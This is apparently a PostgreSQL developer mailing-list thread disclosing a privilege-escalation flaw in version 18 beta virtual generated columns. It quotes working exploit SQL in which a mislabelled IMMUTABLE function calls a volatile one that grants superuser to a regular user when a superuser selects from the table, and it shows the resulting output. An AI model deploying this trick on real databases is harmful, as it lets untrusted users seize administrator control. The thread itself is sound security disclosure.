Thread: pg18: Virtual generated columns are not (yet) safe when superuser selects from them

pg18: Virtual generated columns are not (yet) safe when superuser selects from them

From

Feike Steenbergen

Date:

23 May, 11:43:06

Hi,

While evaluating the PostgreSQL 18 beta, I had a thought experiment where I
thought it might be possible to use the new virtual generated columns to gain
superuser privileges for a regular user.

Attached is a sample exploit, that achieves this, key components:

- the GENERATED column uses a user defined immutable function
- this immutable function cannot ALTER ROLE (needs volatile)
- therefore this immutable function calls a volatile function
- the volatile function can contain any security exploit

The problem I think for PostgreSQL 18 is quite high, as I think it is more
likely that a superuser issues a `SELECT` against any table (graphical DB
clients for example, showing the first N rows in a window)

However, the problem *also* exists for the GENERATED [...] STORED columns, so
probably all pg versions >= 12? although it is less likely that a superuser
would `INSERT` into those tables?

Here's a transcript of the output of the file that shows it:

You are now connected to database "postgres" as user "regular". CREATE FUNCTION
CREATE FUNCTION CREATE TABLE INSERT 0 1 i | j ---+--- 1 | 1 (1 row)

You are now connected to database "postgres" as user "postgres". stage | case
-------------------------------+-------------- Before superuser did a SELECT |
regular user (1 row)

i | j
---+--- 1 | 1 (1 row)

stage | case
------------------------------+----------- After superuser did a SELECT |
superuser (1 row)

Forwarding this discussion from security@postgresql.org:

On Fri, 16 May 2025 at 23:12, Noah Misch <noah@leadboat.com> wrote:
>
> On Fri, May 16, 2025 at 07:16:13PM +0200, Feike Steenbergen wrote:
> > On Fri, 16 May 2025 at 19:00, Noah Misch <noah@leadboat.com> wrote:
> > > Thanks for the report. Does this attack work if the reader uses COPY
> > instead of SELECT? COPY has been safe, so we should think twice before
> > > making it unsafe.
> >
> > Plain COPY seems safe, that's a very good thing:
> >
> > -- This does not cause the regular user to become superuser COPY
> > exploit_generated.generated_sample TO STDOUT;
> >
> > -- This is safe, with a useful error: COPY
> > exploit_generated.generated_sample(i, j) TO STDOUT;
> >
> > ERROR: column "j" is a generated column DETAIL: Generated columns cannot be
> > used in COPY.
> >
> > Copy wrapped around a select however is not safe, (not a suprise I think):
> >
> > -- This is unsafe COPY (SELECT * FROM exploit_generated.generated_sample) TO
> > STDOUT;
>
> That suggests virtual generated table columns have the same risk as views, not
> more risk. That is good news.
>
> > > In other words, virtual generated columns make a table into a hybrid of
> > > view and table, so anything odd that we've needed to do to views and
> > foreign tables may apply to tables containing virtual generated columns.
> >
> > Yeah, that to me is the gist of the issue, that a plain `SELECT` against any
> > such table can be used to run arbitrary function calls.

On Fri, 16 May 2025 at 23:12, Noah Misch <noah@leadboat.com> wrote:
>
> If nothing else, I think the project will need to extend
> restrict_nonsystem_relation_kind so virtual generated columns become one of
> the things it can block.

Attachment

exploit_generated.sql

Re: pg18: Virtual generated columns are not (yet) safe when superuser selects from them

From

jian he

Date:

23 May, 15:47:34

On Fri, May 23, 2025 at 4:43 PM Feike Steenbergen
<feikesteenbergen@gmail.com> wrote:
>
>
> Hi,
>
> While evaluating the PostgreSQL 18 beta, I had a thought experiment where I
> thought it might be possible to use the new virtual generated columns to gain
> superuser privileges for a regular user.
>
> Attached is a sample exploit, that achieves this, key components:
>

hi.

excerpt from exploit_generated.sql
-----
CREATE FUNCTION exploit_generated.exploit_inner(i int)
RETURNS text
LANGUAGE plpgsql AS $fun$
BEGIN
    IF (select rolsuper from pg_catalog.pg_roles where
rolname=current_user) THEN
        ALTER USER regular WITH superuser;
    END IF;
    RETURN i::text;
END;
$fun$
VOLATILE;

CREATE FUNCTION exploit_generated.exploit(i int)
RETURNS text
LANGUAGE plpgsql AS $fun$
BEGIN
    RETURN exploit_generated.exploit_inner(i);
END;
$fun$
IMMUTABLE;

-----

when you mark it as IMMUTABLE, postgres think it's IMMUTABLE, but in this case
exploit_generated.exploit(i int) clearly is not an IMMUTABLE function.

Only IMMUTABLE functions are allowed in generated expressions,
but you can still misuse it by wrongly tagging the function as IMMUTABLE.

for example:
CREATE OR REPLACE FUNCTION exploit1(i int) RETURNS int LANGUAGE SQL IMMUTABLE
BEGIN ATOMIC
SELECT random(min=>1::int, max=>10);
END;
create table t1(a int, b int generated always as (exploit1(1)));

but
create table t3(a int, b int generated always as (random(min=>1::int,
max=>10)));
it will error out
ERROR:  generation expression is not immutable

Re: pg18: Virtual generated columns are not (yet) safe when superuser selects from them

From

Feike Steenbergen

Date:

24 May, 09:38:50

On Fri, 23 May 2025 at 14:48, jian he <jian.universality@gmail.com> wrote:
> when you mark it as IMMUTABLE, postgres think it's IMMUTABLE, but in this case
> exploit_generated.exploit(i int) clearly is not an IMMUTABLE function.
>
> Only IMMUTABLE functions are allowed in generated expressions,
> but you can still misuse it by wrongly tagging the function as IMMUTABLE.

Yeah, I'm quite aware that the pattern used in the example isn't what one
*should* be doing. However, the problem with the exploit that it *could* be
done this way.

The loophole is this:

- the generated virtual column can use a user-defined function
- when running SELECT against that column by a superuser
the function is called within the context of a superuser
- this in turn allows the regular user to run any code within
the context of superuser